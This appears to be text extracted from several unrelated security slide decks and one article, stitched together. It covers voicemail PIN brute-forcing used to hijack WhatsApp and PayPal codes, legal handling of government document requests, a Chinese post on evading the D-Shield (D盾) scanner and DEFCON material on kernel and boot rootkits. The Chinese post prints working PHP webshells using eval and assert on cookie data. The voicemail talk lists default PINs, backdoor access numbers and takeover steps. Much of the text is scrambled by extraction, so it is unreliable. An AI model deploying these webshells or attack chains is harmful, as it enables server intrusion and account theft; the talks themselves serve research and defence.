passwords • Common passwords • Bruteforceable passwords • Efficient bruteforcing sending multiple passwords at once • The greeting message is an attack vector Voicemail security today checklist time! Voicemail security today Default passwords • Common passwords • Bruteforceable passwords • Efficient bruteforcing by entering multiple passwords at once • The greeting message is an attack vector • AT&T • 111111 • T-Mobile • Last four digits of the phone number • Sprint • Last 7 digit of the phone number • Verizon • Last 4 digits of the phone number • According to verizon.com/support/ smallbusiness/phone/ setupphone.htm Voicemail security today Default passwords Common passwords • Bruteforceable passwords • Efficient bruteforcing by entering multiple passwords at once • The greeting message is an attack vector 2012 Research study by Data Genetics http://www.datagenetics.com/blog/september32012 Voicemail security today Default passwords Common passwords Bruteforceable passwords • Efficient bruteforcing by entering multiple passwords at once • The greeting message is an attack vector • AT&T • 4 to 10 digits • T-Mobile • 4 to 7 digits • Sprint • 4 to 10 digits • Verizon • 4 to 6 digits Voicemail security today Default passwords Common passwords Bruteforceable passwords Efficient bruteforcing by entering multiple passwords at once • The greeting message is an attack vector • Can try 3 pins at a time • Without waiting for prompt or error message voicemailcracker.py bruteforcing voicemails fast, cheap, easy, efficiently and undetected voicemailcracker.py • Fast • Uses Twilio’s services to make hundreds of calls at a time • Cheap • Entire 4 digits keyspace for $40 • A 50% chance of correctly guessing a 4 digit PIN for $5 • Check 1000 phone numbers for default PIN for $13 • Easy • Fully automated • Configured with specific payloads for major carriers • Efficient • Optimizes bruteforcing • Tries multiple PINs in the same call • Uses existing research to prioritize default PINs, common PINs, patterns, etc. Undetected Straight to voicemail • Multiple calls at the same time • It’s how slydial service works in reality • Call when phone is offline • OSINT • Airplane, movie theater, remote trip, Do Not Disturb • HLR Records • Queryable global GSM database • Provides mobile device information including connection status • Use backdoor voicemail numbers • No need to dial victim’s number! • AT&T: 408-307-5049 • Verizon: 301-802-6245 • T-Mobile: 805-637-7243 • Sprint: 513-225-6245 voicemailcracker.py • Fast • Uses Twilio’s services to make hundreds of calls at a time • Cheap • All 4 digits keyspace under $10 • Easy • Enter victim’s phone number and wait for the PIN • Configured with specific payloads for major carriers • Efficient • Optimizes bruteforcing • Tries multiple PINs in the same call • Uses existing research to prioritize default PINs, common PINs, patterns, etc. • Undetected • Supports backdoor voicemail numbers Demo bruteforcing voicemail systems with voicemailcracker.py Impact so what? What happens if you don’t pick up? Voicemail takes the call and records it! Attack vector 1. Bruteforce voicemail system, ideally using backdoor numbers 2. Ensure calls go straight to voicemail (call flooding, OSINT, HLR records) 3. Start password reset process using “call me” feature 4. Listen to the recorded message containing the secret code 5. Profit! voicemailcracker.py can do all this for you! Demo compromising WhatsApp We done? Not yet… User interaction based protection Please press any key to hear the code… Please press [ARANDOMKEY] to hear the code… Please enter the code… Can we beat this currently recommended protection? Hint Another hint Default passwords Common passwords Bruteforceable passwords Efficient bruteforcing by entering multiple passwords at once • The greeting message is an attack vector We can record DTMF tones as the greeting message! Attack vector 1. Bruteforce voicemail system, ideally using backdoor numbers 2. Update greeting message according to the account to be hacked 3. Ensure calls go straight to voicemail (call flooding, OSINT, HLR records) 4. Start password reset process using “call me” feature 5. Listen to the recorded message containing the secret code 6. Profit! voicemailcracker.py can do all this for you! Demo compromising Paypal Vulnerable services small subset Password reset 2FA Verification Open source voicemailcracker.py limited edition • Support for 1 carrier only • No bruteforcing • Change greeting message with specially crafted payloads • Retrieve messages containing the secret temp codes Git repo: https://github.com/martinvigo Recommendations Recommendations for online services • Don’t use automated calls (or SMS) for security purposes • If not possible, detect answering machine and fail • Require user interaction before giving the secret • with the hope that carriers ban DTMF tones from greeting messages Recommendations for carriers • Voicemail disabled by default • and can only be activated from the actual phone or online • No default PIN • Don’t allow common PINs • Detect abuse and bruteforce attempts • Don’t process multiple PINs at once • Eliminate backdoor voicemail services • or don’t allow access to login prompt from them Recommendations for you • Disable voicemail • or use longest possible, random PIN • Don’t provide phone number to online services unless strictly required • Use only 2FA apps TL;DR Automated phone calls are a common solution for password reset, 2FA and verification services. These can be compromised by leveraging old weaknesses and current technology to exploit the weakest link, voicemail systems Strong password policy 2FA enforced A+ in OWASP Top 10 checklist Abuse/Bruteforce prevention Password reset | 2FA | Verification over phone call Military grade crypto end to end Lots of cyber THANK YOU! @martin_vigo martinvigo.com martinvigo@gmail.com linkedin.com/in/martinvigo github.com/martinvigo youtube.com/martinvigo
pdf
Don M. Blumenthal Defcon 16 Defcon 16 Las Vegas, Nevada August 9, 2008 g © 2008 – Don M. Blumenthal Opinions expressed are my own and intended f i f ti l Th h ld t for informational purposes. They should not be attributed to any organization or used as a substitute for direct legal or technical advice. g Laws vary R l i Regulations vary Policies vary Procedures vary Procedures vary Individuals vary Necessary tactics vary y y However…. The fundamental points do not vary Show respect D ’t l me Don’t play games Civil ◦ Court ◦ Administrative Criminal Criminal Federal State State Gramm Leach Bliley Act Gramm-Leach-Bliley Act Fair Credit Reporting Act/Fair and Accurate Credit Transaction Act Accurate Credit Transaction Act Health Insurance Portability and Accountability Act Family Educational Rights and Privacy Act USA Patriot Act FTC Act Section 5 Sarbanes Oxley © 2008 – Don M. Blumenthal GLBA – eight agencies FCRA/FACTA FTC FCRA/FACTA - FTC Sarbanes Oxley – SEC HIPAA HHS HIPAA - HHS FERPA – DoE Patriot Act - DoJ Patriot Act - DoJ © 2008 – Don M. Blumenthal Formal investigation V l t ◦ Voluntary response ◦ Mandatory response Target or third party g p y “Just between you, me, and the lamp post….” ◦ Procedural assistance ◦ Procedural assistance ◦ Investigation assistance ◦ General information Access letter or similar document document ◦ AKA Voluntary process “We have opened a law p enforcement investigation. Please provide documents responsive to the following responsive to the following questions….” The term "documents" means all written, recorded, and graphic materials and all electronic data of every kind in the possession, custody or control of the h h ff h p , y company, whether on or off company premises….The term "documents" includes electronic mail or correspondence, drafts of documents, metadata, embedded, hidden and other bibliographic or h l d d b l d , g p historical data describing or relating to documents created, revised, or distributed on computer systems. . . . Therefore, the company shall produce documents that exist in electronic form, including data stored in l bl , g personal computers, portable computers, workstations, minicomputers, cellular telephones, electronic messaging devices, pagers, personal digital assistants, archival voice storage systems, group and ll b l bl bl , g y , g p collaborative tools, portable or removable storage media, mainframes, servers, backup disks and tapes, archive disks and tapes, and other forms of online or offline storage…. g Don’t ignore R i f ll Review carefully Assign best possible person in company for each question company for each question Engage outsider if warranted Find out what documents are where and in what form Contact requesting attorney to di i i discuss any issues concerning terms of letter Government staff may not have technical knowledge technical knowledge Protect yourself - production or negotiation should address g unclear or incorrect question structure ◦ Too broad may be confusing ◦ Too broad may be confusing ◦ Too limited may tick off Breadth (including time period) of request of request ◦ May want to narrow Ongoing/rolling production O i i l i Originals vs. copies Hard copies vs. electronic versions Form and location of production Bates stamping procedure Be willing to meet with government staff; provides government staff; provides human touch and opportunity to add context and clarification P d i bl d f l Produce in usable and useful form Request confidential treatment Request confidential treatment Negotiate; cooperate ≠ be doormat May resolve issues with no f h i further action Lessens burdens if must proceed farther proceed farther Can set atmosphere if must proceed farther proceed farther Civil investigative demand (CID) or subpoena or subpoena ◦ AKA compulsory process “We have opened a law p enforcement investigation. Please Please Please provide documents… responsive to the following responsive to the following questions….” Compulsory not limited to documents documents ◦ Interrogatory – provide written answers to questions ◦ Deposition – provide someone to testify under oath Sanctions for non-compliance p DON’T IGNORE Review carefully Assign best possible person in m f e h e ti company for each question or topic specified in deposition notice notice Contact requesting attorney to discuss any issues Breadth (including time period) of request request ◦ May want to narrow Ongoing/rolling production Originals vs. copies Hard copies vs. electronic versions Form and location of Form and location of production/depositions Bates stamping procedure Negotiate outstanding issues as early as possible early as possible Raise confidential treatment Produce documents in usable Produce documents in usable and useful form Answer interrogatories clearly and completely Provide truly qualified people f d i i for deposition Stakes higher ◦ Civil penalties are financial and ◦ Civil penalties are financial and injunctive ◦ Criminal actions add the possibility of jail time of jail time 5th Amendment applies More adversarial atmosphere p Can still have some level of cooperation Grand Jury Subpoena vs. Search Warrant Wh h h ld h Whether government or company should have control over collection of records ◦ Does a reasonable basis exist to believe that id b d d l d d? evidence may be destroyed, altered or removed? Constitutional questions Grand jury testimony if j y y applicable Breadth (including time period) of request of request Seek protective order setting parameters of search if you p y believe it’s overbroad Negotiate handling of potentially privileged materials potentially privileged materials Ongoing/rolling production O i i l i Originals vs. copies Hard copies vs. electronic versions versions Form and location of production and other elements Bates stamping procedure Don’t have the protections that a target may have but a target may have, but May still have obligations, or different ones, that a target may have ◦ e.g., ECPA Similar procedures and Similar procedures and strategies Less need for confrontation Some material may be on public record record Point to it ◦ Helps LE Helps LE ◦ Lessens your burdens Only after consultation with counsel!!!!!!!!!! counsel!!!!!!!!!! Less likely in security cases than in other cybercimes in other cybercimes ◦ But if stolen data or cyber threat puts individual at risk…. Have terms of service that keep need for document production need for document production in mind ◦ e.g., “We will cooperate with law enforcement….” Can be in your self-interest depending on customer base depending on customer base Physical facilities for LE use if you have frequent contacts ◦ e.g., desk for local sheriff Electronic capabilities for LE use Electronic capabilities for LE use ◦ Direct contacts for spam and phishing issues, instead of form or abuse@ address Designated/dedicated LE contacts and assistance b ff d h h Can be cost effective and have other benefits for both sides Perception is important Publicize security activities Publicize security activities Build relationship over time ◦ Meetings, conventions ◦ Groups such as Infragard LE more accessible and receptive if you have problems receptive if you have problems You know LE organization and organization knows you Don M. Blumenthal don@donblumenthal.com (734) 997-0764 (202) 431-0874 (m) www.donblumenthal.com
pdf
利用$_COOKIE写过D盾马(php 7.x + 菜刀很配哦) oxo1 前言 之前就在土司发过一篇利用 $_COOKIE 过D盾的文章、同时利用setcookie的写法投稿过圈子。发现 D盾 好像对 $_COOKIE 不怎么敏感、完全可以利用来过D盾。之前一直在想菜刀要怎么连接 php 7.x 的 webshell、修改下 caidao.conf 就可以连接了。这次主要的目的是菜刀连接php 7.x 的webshell... oxo2 编写 1)修改菜刀、方便连接 php 7.x 2)编写Webshell 之前发在土司的webshell 已经被扫出、级别为:1 <?php @$a = $_COOKIE[1]; $b = ''; $c = ''; @assert($b.$a); ?> 要自己写一个COOKIE太不方便了、不是我想要的。下面利用 setcookie 来实现不用手动添加COOKIE 利用 setcookie 定义一个Cookie 成果(之前投稿过圈子、当时使用的函数是:assert 理所当然被查出等级1了) 成功过D盾 3)不足的地方 第一次运行的时候是不带Cookie的 <?php setcookie(1,@$_POST[1]); @eval(''.''.$_COOKIE[1]); 需要重新刷新一下 4)菜刀连接 新建连接 第一次运行(没有Cookie) 再次运行就好了(已经写入Cookie) oxo3 文末 $_COOKIE 应该可以搭配很多方法、因为 D 盾对他不太敏感。
pdf
1 DEFCON 2018 USA ALEXANDRE BORGES RING 0/-2 ROOKITS : COMPROMISING DEFENSES DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER PROFILE AND TOC TOC: • Introduction • Rootkits: Ring 0 • Advanced Malwares and Rootkits: Ring -2 • Malware and Security Researcher. • Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics, Rootkits and Software Exploitation. • Member of Digital Law and Compliance Committee (CDDC/ SP) • Reviewer member of the The Journal of Digital Forensics, Security and Law. • Refereer on Digital Investigation:The International Journal of Digital Forensics & Incident Response • Instructor at Oracle, (ISC)2 and Ex-instructor at Symantec. 2 DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ACKNOWLEDGMENT DEFCON 2018 - USA 3 Joanna Rutkowska John Loucaides Oleksandr Bazhaniuk Sergey Bratus Vicent Zimmer Yuriy Bulygin Xeno Kovah Alex Bazhaniuk Alex Matrosov Andrew Furtak Bruce Dang Corey Kallenberg Dmytro Oleksiuk Engene Rodionov These professionals deserve my sincere “thank you” and deep respect for everything I have learned from their explanations and articles. By the way, I continue learning... ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 4 INTRODUCTION ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER RING 0/-2 ROOTKITS DEFCON 2018 - USA 5 ADVANCED MALWARES: • MBR/VBR/UEFI rootkits • Tecniques used by rootkits • Kernel Code Signing Bypasses • MBR + IPL infection • BIOS, UEFI and boot architecture • Boot Guard • Secure Boot attacks • WSMT (Windows SMM Security • Mitigation Table) • BIOS Guard • BIOS/UEFI Protections RING 0: • Kernel Callback methods • WinDbg structures • Kernel Drivers Structures • Malicious Drivers • Modern C2 communication • Kernel Pools and APCs ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 6 ROOTKITS: RING 0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 7 • Kernel Callback Functions, which are are a kind of “modern hooks” oftenly used by antivirus programs to monitor, alert the kernel modules about a specific event ocurrence. Therefore, they are used by malwares (kernel drivers) for evading defenses. • Most known callback methods are: • PsSetLoadImageNotifyRoutine: it provides notification when a process, library or kernel memory is mapped into memory. • IoRegisterFsRegistrationChange: it provides notification when a filesystem becomes available. • IoRegisterShutdownNotification: the driver handler (IRP_MJ_SHUTDOWN) acts when the system is about going to down. • KeRegisterBugCheckCallback: it helps drivers to receive a notification (for cleaning tasks) before a system crash. DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 8 • PsSetCreateThreadNotifyRoutine: indicates a routine that is called every time when a thread starts or ends. • PsSetCreateProcessNotifyRoutine: when a process starts or finishes, this callback is invoked (rootkits and AVs). • DbgSetDebugPrintCallback: it is used for capturing debug messages. • CmRegisterCallback( ) or CmRegisterCallbackEx( ) are called by drivers to register a RegistryCallback routine, which is called every time a thread performs an operation on the registry. • Malwares have been using this type of callbacks for checking whether their persistence entry are kept and, just in case they were removed, so the malware add them back. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 9 0: kd> dd nt!CmpCallBackCount L1 fffff801`aa733fcc 00000002 0: kd> dps nt!CallbackListHead L2 fffff801`aa769190 ffffc000`c8d62db0 fffff801`aa769198 ffffc000`c932c8b0 0: kd> dt nt!_LIST_ENTRY ffffc000`c8d62db0 [ 0xffffc000`c932c8b0 - 0xfffff801`aa769190 ] +0x000 Flink : 0xffffc000`c932c8b0 _LIST_ENTRY [ 0xfffff801`aa769190 - 0xffffc000`c8d62db0 ] +0x008 Blink : 0xfffff801`aa769190 _LIST_ENTRY [ 0xffffc000`c8d62db0 - 0xffffc000`c932c8b0 ] ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 10 0: kd> !list -t _LIST_ENTRY.Flink -x "dps" -a "L8" 0xffffc000`c932c8b0 ffffc000`c932c8b0 fffff801`aa769190 nt!CallbackListHead ….. ffffc000`c932c8c8 01d3c3ba`27edfc12 ffffc000`c932c8d0 fffff801`6992a798 vsdatant+0x67798 ffffc000`c932c8d8 fffff801`69951a68 vsdatant+0x8ea68 ffffc000`c932c8e0 00000000`000a000a ..... fffff801`aa7691c0 00000000`bee0bee0 fffff801`aa7691c8 fffff801`aa99b600 nt!HvpGetCellFlat ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 11 • At same way, PsSetCreateProcessNotifyRoutine( ) routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted. 0: kd> dd nt!PspCreateProcessNotifyRoutineCount L1 fffff801`aab3f668 00000009 0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 + nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r $t1 = $t1 & 0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;} • Malwares composed by kernel drivers, which use the PsSetLegoNotifyRoutine( ) kernel callback to register a malicious routine, could be get called during the thread termination. The KTHREAD.LegoData field provides the direct address. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 12 0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 + nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r $t1 = $t1 & 0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;} ffffe001`134c8b08 fffff801`aa5839c4 nt!ViCreateProcessCallback ffffe001`139e1138 fffff801`678175f0 cng!CngCreateProcessNotifyRoutine ffffe001`13b43138 fffff801`67e6c610 kl1+0x414610 ffffe001`13bdb268 fffff801`685d1138 PGPfsfd+0x1c138 ffffe001`13b96858 fffff801`68a53000 ksecdd!KsecCreateProcessNotifyRoutine ffffe001`14eeacc8 fffff801`68d40ec0 tcpip!CreateProcessNotifyRoutineEx ffffe001`164ffce8 fffff801`67583c70 CI!I_PEProcessNotify ffffe001`13b6e4b8 fffff801`68224a38 klflt!PstUnregisterProcess+0xfac ffffe001`1653e4d8 fffff801`699512c0 vsdatant+0x8e2c0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 13 kd> dt _KTHREAD By now, we have seen malwares using KTHREAD.LegoData field for registering a malicious routine, which would be called during the thread termination. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 14 Windows offers different types of drivers such as legacy drivers, filter drivers and minifilter drivers (malwares can be written using any one these types), which could be developed using WDM or WDF frameworks (of course, UMDF and KMDF take part) • To analyze a malicious driver, remember this sequence of events: • The driver image is mapped into the kernel memory address space. • An associated driver object is created and registered with Object Manager, which calls the entry point and fills the DRIVER_OBJECT structure’s fields. DRIVER DEVICE_OBJECT DRIVER_OBJECT HARDWARE RES. I/O CreateDevice( ) (one or more objects) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 15 • Most ring 0 malwares install filter drivers for: • modifying aspects and behavior of existing drivers • filtering results of operations (reading file, for example) • adding new malicious features to a driver/devices (for example, keyloggers) • The AddDevice( ) routine is used to create an unamed Device Object and to attach it to a named Device Object (ex: aborges) from a layered driver (lower-level driver). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 16 • An appropriate dispatch routine will be picked from the its MajorFunction Table and process the IRP. • Alternatively, this IRP could be passed down to the layered driver by using function such as IoCallDriver( ). • Rootkits use the same IoCallDriver( ) to send directly request to the filesystem driver, evading any kind of monitoring or hooking at middle of the path. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 17 Tcpip.sys Upper Filter Driver Function Driver Lower Filter Driver Miniport driver Physical Device Object Upper Filter Device Object Function Device Object Lower Filter Device Object Driver Stack IoCallDriver( ) IoCallDriver( ) IoCallDriver( ) IoCallDriver( ) Device Stack IO_STACK_LOCATION 4 IO_STACK_LOCATION 3 IO_STACK_LOCATION 2 IO_STACK_LOCATION 1 No Completation Routine Completation Routine 4 Completation Routine 3 Completation Routine 2 Device Stack The IoCompleteRequest( ) manages calling these routines in the correct order (bottom-up). DEFCON 2018 - USA ROOTKITS: RING 0 DEFCON 2018 - USA 18 IO_STACK_LOCATION IO_STACK_LOCATION IO_STACK_LOCATION .............. S T A T I C • A IRP is usually generated by the I/O Manager in response to requests. • An IRP can be generated by drivers through the IoAllocateIrp( ) function. • Analyzing malware, we are usually verify functions such as IoGetCurrentIrpStackLocation(), IoGetNextIrpStackLocation( ) and IoSkipCurrentIrpStackLocation( ). • At end, each device holds the responsability to prepare the IO_STACK_LOCATION to the next level, as well a driver could call the IoSetCompletationRoutine( ) to set a completation routine up at CompletationRoutine field. D Y N A M I C ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 19 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER Parameters field depends on the major and minor functions! ROOTKITS: RING 0 DEFCON 2018 - USA 20 Parameter field depends on major and minor function number. Thus, the IRPs being used are related to the action. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 21 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 22 Malicious driver rootkits: ring 0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 23 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 24 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 25 DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 26 • Naturally, as closest at bottom of device stack occurs the infection (SCSI miniport drivers instead of targeting File System Drivers), so more efficient it is. • Nowadays, most monitoring tools try to detect strange activities at upper layers. • In this case, it is very easy to intercept requests (read / write operations) from hard disk by manipulating the MajorFunction array (IRP_MJ_DEVICE_CONTROL and IRP_INTERNAL_CONTROL) of the DRIVER_OBJECT structure. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 27 • Rootkits try to protect itself from being removed by modifying routines such as IRP_MJ DEVICE_CONTROL and hooking requests going to the disk (IOCTL_ATA_* and IOCTL_SCSI_*). • Another easy approach is to hook the DriverUnload( ) routine for preventing the rootkit of being unloaded. • However, any used tricks must avoid touching critical areas protected by KPP (Kernel Patch Guard) and one of tricky methods for find which are those areas is trying the following: ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 28 kd> !analyze –show 109 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER Thanks, Alex Ionescu ROOTKITS: RING 0 DEFCON 2018 - USA 29 • Additionally, malwares composed by executable + drivers have been using APLC (Advanced Local Procedure Call) in the communication between user mode code and kernel drivers instead only using only IOCTL commands. • Remember APLC interprocess-communication technique has been used since Windows Vista, as between lsass.exe and SRM( Security Reference Monitor). Most analysts are not used to seeing this approach. • Malwares usually don’t target a specific driver used during the boot for injection, but try to pick one randomly by parsing structures such as _KLDR_DATA_TABLE_ENTRY. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 30 • Certainly, hooking the filesystem driver access is always a possible alternative: • IoCreateFile( ) gets a handle to the filesystem. • ObReferenceObjectByHandle( ) gets a pointer to FILE_OBJECT represented by the handle. • IoCreateDevice( ) creates a device object (DEVICE_OBJECT) for use by a driver. • IoGetRelatedDeviceObject( ) gets a pointer to DEVICE_OBJECT. • IoAttachDeviceToDeviceStack( ) creates a new device object and attaches it to DEVICE_OBJECT pointer (previous function). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 31 • The same AVs usually hook functions such as ZwCreate( ) for intercepting all opened requests sent to devices. Unfortunately, malwares could do the same and, when it is not possible, so they perform their own implementation. • After infecting a system by infection a system dropping kernel drivers, malwares usually force the system reboot calling ZwRaiseHardError( ) function and specifying OptionShutdownSystem as 5th parameter. • Of course, it could be worse and the malware could use IoRegisterShutdownNotification( ) routine registers the driver to receive an IRP_MJ_SHUTDOWN IRP notification when the system is shutdown for restoring the malicious driver in the next boot just in case it is necessary. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 32 • Malwares continue allocating (usually RWX, although on Windows 8+ it could specify NonPagePoolNX) and marking their pages by using ExAllocatePoolWithTag( ) function (and other at same family ExAllocatePool*). Fortunately, it can be easily found by using memory analysis: ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 33 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 34 0: kd> dt nt!_KTHREAD • APC (user and kernel mode) are executed in the thread context, where normal APC executes at PASSIVE_LEVEL (thread is on alertable state) and special ones at APC_LEVEL (software interruption below DISPATCH LEVEL, where run Dispatch Procedure Calls). • APC Injection It allows a program to execute a code in a specific thread by attaching to an APC queue (without using the CreateRemoteThread( )) and preempting this thread in alertable state to run the malicious code. (QueueUserAPC( ), KeInitializeAPC( ) and KeInsertQueueAPC( )). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 35 ADVANCED MALWARES AND ROOTKITS RING -2 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES 36 • MBR rootkits: Petya and TLD4 (both in bootstrap code), Omasco (partition table) and Mebromi (MBR + BIOS, triggering SW System Management Interrupt (SMI) 0x29/0x2F for erasing the SPI flash) • VBR rootkits: Rovnix (IPL) and Gapz (BPB – Bios Parameter Block, which it is specific for the filesystem) • UEFI rootkits: replaces EFI boot loaders and, in some cases, they also install custom firmware executable (EFI DXE) • Modern malwares alter the BPB (BIOS parameter block), which describes the filesystem volume, in the VBR. • We should remember that a rough overview of a disk design is: MBR VBR IPL NTFS Initial Program Loader. It has 15 sectors containing the bootstrap code for parsing the NTFS and locating the OS boot loader. Locate the active partition and reads the first sector It contains necessary boot code for loading the OS loader DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 37 Overwritten with an offset of the bootkit on the disk. Thus, in this case, the malicious code will be executed instead of the IPL. BIOS_PARAMETER __BLOCK_NTFS ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 38 Eventually, analyzing and debugging the MBR/VBR (loaded as binary module) is unavoidable, but it’s not so difficult as it seems. Furthermore, we never know when an advanced malware or a ransomwares (TDL4 and Petya) will attack us. expected MBR entry point and it must be included in the IDA Pro’s load_file. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 39 • MBR modifications (partition table or MBR code) as VBR+IPL modifications (BPB or IPL code) have been used as an effective way to bypass the KCS. • As injecting code into the Windows kernel has turned out to be a bit more complicated, to modern malwares are used to bypassing the KCS (Kernel-Mode Code Signing Policy) by: • Disabling it Booting the system on Testing Mode. Unfortunately, it is not so trivial because the Secure Boot must be disabled previously and, afterwards, it must be rebooted. • Changing the kernel memory MBR and/or VBR could be altered. However, as BIOS reads the MBR and handle the execution over to the code there, so it is lethal. • Even trying to find a flaw in the firmware it is not trivial and the Secure Boot must be disabled. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 40 Setting TESTING mode is a very poor drive signature “bypassing”. Actually, there are more elegant methods. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 41 BIOS MBR EFI VBR Bootmgr Bootmgfw.efi BCD Winload.exe Kdcom.dll ELAM Ntoskrnl.exe Code Integrity Mebromi Petya/Mebromi/ Omasco/TLD4 Rovnix and Gapz UEFI support since Windows 7 SP1 x64 BPB + VBR code + strings + 0xAA55 Read its configuration from Boot Configuration Data (BCD) ci.dll HAL.dll Classifies modules as good, bad and unknown. Additionally, it decides whether load a module or not according to the policy. Bootkits could attack it before loading the kernel and ELAM. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 42 • The malicious bootmgr, which switches the processor execution from real mode to protected mode, uses the int 13h interrupt to access the disk drive, patch modules and load malicious drivers. • Once again, if the integrity checking of the winload.exe is subverted, so a malicious code could be injected into the kernel. • The winload.exe roles: • enables the protect mode. • checks the modules’ integrity and loads the Windows kernel. • loads the several DLLs (among them, the ci.dll, which is responsible for Code Integrity) and ELAM (Early Launch Anti Malware, which was introduced on Windows 8 as callback methods and tries to prevent any strange code execution in the kernel). • loads drivers and few system registry data. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 43 • Most advanced rootkits continue storing/reading (opcode 0x42, 0x43 and 0x48) their configuration and payloads into a encrypted hidden filesystem (usually, FAT32) using modified symmetric algorithms (AES, RC4, and so on). • Hooking key programs such as NTLDR and BOOTMGR to help malwares keeping alive during the transition from real to protect mode. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 44 • SMM basics: • Interesting place to hide malwares because is protected from OS and hypervisors. • The SMM executable code is copied into SMRAM and locked during the initialization. • To switch to SMM, it is necessary to triger a SMI (System Management Interrupt), save the current content into SMRAM and execute the SMI handler code. • A SMI could be generated from a driver (ring 0) by writing a value into APMC I/O / port B2h or using a I/O instruction restart CPU feature. • The return (and execution of the prior execution) is done by using RSM instruction. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 45 MBR VBR LOADER OS SPI Flash Ring 0 malwares like rootkits SPI malwares Bootkit malwares UEFI: Bootx64.efi and Bootmgfw.efi (Kernel Code Signing Policies) UEFI Services SMM SMM malwares UEFI/BIOS malwares (Flash Write Protection) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 46 SEC PEI DXE BDS TSL RT AL • SEC Security (Caches, TPM and MTRR initialization) • PEI Pre EFI Initialization (SMM/Memory ) • DXE Driver Execution Environment (platform + devices initialization , Dispatch Drivers, FV enumumeration) • BDS Boot Dev Select (EFI Shell + OS Boot Loader) • TSL Transient System Load • RT Run Time IBB – Initial Boot Block After Life ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 47 SEC PEI DXE BDS TSL HARDWARE Boot Guard OS Secure Boot UEFI Secure Boot UEFI Secure Boot IBB malwares and exploits attack here Hypervisor 